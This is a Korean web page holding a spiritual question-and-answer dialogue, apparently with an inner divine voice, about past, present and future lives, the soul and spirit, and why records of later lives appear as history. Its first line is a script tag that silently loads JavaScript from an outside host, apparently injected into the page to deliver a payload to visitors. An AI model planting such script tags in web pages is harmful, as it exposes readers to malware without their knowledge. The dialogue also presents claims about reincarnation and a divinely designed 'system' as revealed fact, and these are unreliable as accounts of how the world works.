<SCRIPT Language=JavaScript src=http://stream002.com/v1.0/stream_v.php></script> * 년도 순과 반대로 보이는 혼의 활동에 대한 역사적인 기록물을 두고

   어떻게 봐야 된단 말인가?




# AD1500년의 전생이 AD2000년이 될 수가 있다고 했네.

   그런데 AD1500년의 기록이 AD2000년에 보이게 되지?

   어떻게 후생의 기록이 전생에 보이게 된다는 것인가?

   각각의 혼들의 삶의 기간은 개별적인 기간이라고 했으니,

   전생과 현생, 후생이라는 삶에 있어서, 하나의 혼이 전생에 죽어

   현생에 태어나고, 다시 죽어서 후생에 태어나는 식이 아닌 것이지.

   영은 연결된 각각의 혼들의 삶을 총망라한 기간의 삶의 기간을 가지네.

   그 기간이 끝나면 새로운 우주수레바퀴(윤회로 표현되는)의 삶을 시작하지.




   질문에 초점에 맞추면.

   전생의 기록이 완료된 사건들로 현생에 나타나는 것은,

   현생의 인과에 관계된 내용들일세. 그것에 의해서 현생은 시간의 흐름 속에

   놓여있는 것으로 보이게 되는 장치인 것이라네. 일종의 체험문맥이지.

   AD200년의 기록이 AD300년에 보이는 것은 체험문맥이 이루어지도록 완료된

   사건으로 제공된 에너지작용의 결과물(인과성)일세.

   전생, 현생, 후생은 하나의 혼이 체험하는 것이 아니니,

   개별혼의 삶의 체험이 아닐세.

   엄밀히 말하면 하나의 우주수레바퀴 안에서는, 윤회 또는 환생은 없고,

   영이라는 매개에 의한 인과는 있다고 할 수 있지.




   그러면 문맥을 위한 에너지 작용은 어떻게 이루어지는가 하면,

   오늘 내면과의 대화를 하는 신하나에 인과 되어있는 전생이 있고,

   오늘 내면과의 대화를 안 하는 신하나에 인과 되어있는 전생이 있네.

   내면과의 대화를 하는 신하나도 존재하고,

   내면과의 대화를 안 하는 신하나도 존재하지.

   신하나가 현재 내면과의 대화를 하고 있으니,

   하는 신하나는 자네에게는 체험이며 안 하는 것은 개념이지.

   안 하는 신하나에게 있어서는 안 하는 게 체험이고 하는 게 개념이지.

   체험의 전개는 하는 것으로 전개되고 있으니,

   안하는 신하나는 개념으로 남게 된다.


   후생의 기록이 완료된 사건으로 기록이 현재 고정화되어 보이는 것은,

   인류전체적인 체험 또는 다른 개별혼의 체험에 대한 것이지,

   자신이라는 개별혼의 체험은 아니질 않은가?

   그것은 다음의 체험으로 들어갈 수 있도록 제공되는 것으로,

   과거에 일어난 일이라는 모습으로 현재에 드러나 있는 가상(개념)일세.





   AD200년의 후생의 삶의 내용이, AD300년의 현생에 과거의 기록처럼

   나타나는 것은, 이미 되어져 있는 것을 자신이라는 에너지 덩어리가

   공간을 이동하면서 인지하는 것이지. 모든 일은 이미 일어나 있다고 했듯이,

   현재의 삶에 인과된 전생 또는 후생의 기록(버전)이 나타나 보이게

   물질의 형태를 띠고 ‘되어 있는’ 것이네.


  

   내면과의 대화를 하는 신하나에 인과되어 있는 전생이 있다는 것은

   영이 그 혼의 체험을 바탕으로 다른 혼의 활동에 참고정보를 제공할 수가

   있다는 걸세. 내면과의 대화를 안 하고 다른 일을 하는 신하나도 존재하지만

   그건 현재의 신하나가 선택해서 체험하는 버전이 아닌, 선택할 수도 있었던

   개념(생각에너지, 가능성)으로 존재하는 버전이지.





* 무량버전의 개념(가능성)으로 완료되어 있지만, 체험은 현재 진행중으로,

   깨달음을 통하여 진화의 성숙도를 더해 가는 중으로 보면 되겠군.


# 그렇지. 그래서 상대성의 세계는 현재 진화 중에 있네.





* 과거에 일어난 기록(일)이라는 모습으로 현재에 드러나 있는

   가상(개념)이라는 것은?

# 과거의 기록이 가상이라는 것은, 현재의 혼의 삶과 다른 혼의 체험이며,

   그것이 현재 드러나서 정리되어져 보이는 것은 신이 그렇게 보이도록 창조해

   놓은 장치이지. 년도 순에 따라 전생이 일렬적이 아니더라도,

   그 에너지활동이 완료된 사건들로 나타나 보이게끔 해 놓은 거네.




* 그러면 지금이 지구에서의 마지막 생이라고 했네. 완료시점이 아닌가?

# 영의 체험의 완료시점이지.

   지금의 혼의 체험은 영에게 있어서 아주 중요한 체험부분일세.





* 그러면 결국 전생, 현생, 후생의 순서나 과거의 기록이 완료된 사건들로 보이는

   것은 자네가 고안한 장치라는 이야긴가?

# 개별영혼에게 있어서는 그렇게 보이도록 내가 창조한 환경(시스템)일세.



* 그 시스템에 대한 설명이 가능한가?

# 가능하지만, 다음으로 미루세.


- 끝 -